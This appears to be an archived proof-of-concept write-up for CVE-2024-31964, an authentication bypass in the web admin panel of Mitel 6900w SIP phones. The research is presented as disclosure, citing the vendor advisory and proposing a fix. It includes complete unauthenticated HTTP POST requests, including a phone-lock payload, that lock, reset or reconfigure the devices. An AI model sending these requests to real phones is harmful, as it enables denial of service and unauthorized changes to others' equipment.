关联漏洞
标题:
Mitel 6800 SIP 和 6900 SIP 安全漏洞
(CVE-2024-31964)
描述:Mitel 6800 SIP和Mitel 6900 SIP都是加拿大敏迪(Mitel)公司的产品。Mitel 6800 SIP是一款6800 SIP系列IP电话。Mitel 6900 SIP是一款6900 SIP系列IP电话。 Mitel 6800 SIP 和 6900 SIP 存在安全漏洞,该漏洞源于身份验证控制不当,成功利用该漏洞可能允许攻击者修改系统配置设置并可能导致拒绝服务。
描述
CVE-2024-31964 PoC: Mitel 6900w Series SIP Phone - Temporary Authentication Bypass
介绍
# CVE-2024-31964
CVE-2024-31964 PoC: Mitel 6900w Series SIP Phone - Temporary Authentication Bypass
# Vulnerability details
## Summary
It consists of a temporary authentication bypass vulnerability in the HTTP administrative website panel of several Mitel Products.
## Impact
Allows an attacker to modify the device configuration, and perform denial of service attacks against the affected device.
## Requirements
A user must have successfully logged in minutes before, and from the same source IP as the attacker.
## Proposed CVSS
Proposed CVSS:
- CVSS v4.0 score: 7.2
- CVSS v4.0 vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:H/SC:L/SI:L/SA:H
## References
Advisory: [Mitel Product Security Advisory 24-0007](https://www.mitel.com/support/security-advisories/mitel-product-security-advisory-24-0007)
# Testing environment
This CVE was found while auditing 3 SIP Phones with the following properties (this CVE was successfully tested against these 3 device models):
- Device manufacturer: Mitel
- Device models:
- 6920w
- 6930w
- 6940w
- Device version: firmware 6.3.2.85
- System Language: Spanish
- Device URL reference:
- https://www.mitel.com/document-center/devices-and-accessories/ip-phones/6900-series/6900-ip-phones/minet-22/en/mitel-6920-6920w-ip-phone-user-guide
- https://www.mitel.com/document-center/devices-and-accessories/ip-phones/6900-series/6900-ip-phones/minet-22/en/mitel-6930-6930w-ip-phone-user-guide
- https://www.mitel.com/document-center/devices-and-accessories/ip-phones/6900-series/6900-ip-phones/minet-22/en/mitel-6940-6940w-ip-phone-user-guide
- Affected components: HTTP Administrative Website Panel
According to Mitel's advisory, it affects more products, but I did not have access to any of them to verify it.
# Proof of Concept
Generally, in order to access any Mitel control/management web panel resource, it is necessary to make requests with the "Authorization" header, which establishes the credentials of the user trying to access.
Example of authenticated request:

```
GET /sysinfo.html HTTP/1.1
Host: 10.XX.XX.246
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Dnt: 1
Authorization: Basic XXXXXXXXXXXX
Referer: https://10.XX.XX.246/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
```
In case this header is not set, we get an "Unauthorized" error, and we are asked to authenticate, requiring the credentials.
Unauthorized GET request:

```
GET /sysinfo.html HTTP/1.1
Host: 10.XX.XX.246
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Dnt: 1
Referer: https://10.XX.XX.246/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
```
Response:
```
HTTP/1.1 401 Unauthorized
Server: XXX
WWW-Authenticate: Basic realm="Mitel 6920w"
Connection: close
Content-Length: 745
Content-Type: text/html
<html>
<head>
<title>HTTP 401 Unauthorized</title>
</head>
<body bgcolor="white">
<table width="450" cellpadding="3" cellspacing="5">
<tr>
<td>
<h1 style="COLOR: black; FONT: 13pt/15pt verdana">
You are not authorized to view this page</h1>
</td>
...
```
However, it turns out that all POST requests from the application can be made without setting the Authorization header, i.e. as an unauthenticated user, provided that a legitimate user has previously logged in from the same source IP as the attacker, and for a limited time (it has been measured that the time window is approximately 8 minutes). That is, if a legitimate user logs into the device's management website, there is a window of about 8 minutes during which an attacker with the same IP as the logged-in user could make unauthenticated POST requests, without needing to know the credentials. The vulnerability is quite restrictive because of the requirement to share the IP with a legitimate user, but in cases where a PC is shared, or computers are accessed through the same proxy server, the possibilities of exploitation would be higher.
By means of POST requests it is possible to change user passwords (requires prior knowledge of the password), lock/unlock the device, reset the device, upload CSV files of contacts, configure the configuration server, etc.
For example, if we try to lock the device without the Authorization header, we see that the device is effectively blocked, denying its service to the user, and we can also reboot the phone, temporarily denying the service altogether. As a quick test, we have also effectively modified the speed-dial keys and the configuration server.
Example of unauthenticated phonelock request:

```
POST /phonelock.html HTTP/1.1
Host: 10.XX.XX.246
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 87
Origin: https://10.XX.XX.246
Dnt: 1
Referer: https://10.XX.XX.246/phonelock.html
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
EmergencydialPlan=112%7C999%7C911%7C110&autolockDelay=0&autounlockDelay=0&lock=Bloquear
```
Successful unauthenticated response:
```
HTTP/1.1 200 OK
X-Frame-Options: DENY
Content-Length: 4160
Connection: close
Accept-Language: es
Content-Type: text/html
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"> <head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>Mitel 6920w</title>
<link rel='stylesheet' type='text/css' href='aastra.css' />
<link rel="shortcut icon" href="favicon.ico" type="image/x-icon" />
...
<div id='content'>
<p>Teléf. bloqueado</p>
</div></div><div id='footer'><span class='copyright'>Copyright © 2023 Mitel Networks Corporation</span><span class='support'><a href='support'>Servicio de soporte técnico</a></span></div></div></body></html>
```
Additionally, we can request a device reset:

And use ping to verify the temporal loss of connectivity:

We can change most parameters... For example, the FTP server:


# Proposed Solution
The Authorization header should always be required and validated, and/or the session should be managed with cookies, not source IPs.
文件快照
[4.0K] /data/pocs/f3b52ef7ed729439d42e74251f541404ca041d15
├── [4.0K] imgs
│ ├── [250K] 0-authenticated_request.png
│ ├── [104K] 1-unauthenticated_request.png
│ ├── [222K] 2-unauthenticated_lock.png
│ ├── [165K] 3-unauthenticated_reset.png
│ ├── [579K] 4-ping_unauthenticated_reset.png
│ ├── [221K] 5-unauthenticated_ftp_mod.png
│ └── [136K] 6-unauthenticated_ftp_mod_changed.png
├── [ 34K] LICENSE
└── [7.3K] README.md
1 directory, 9 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。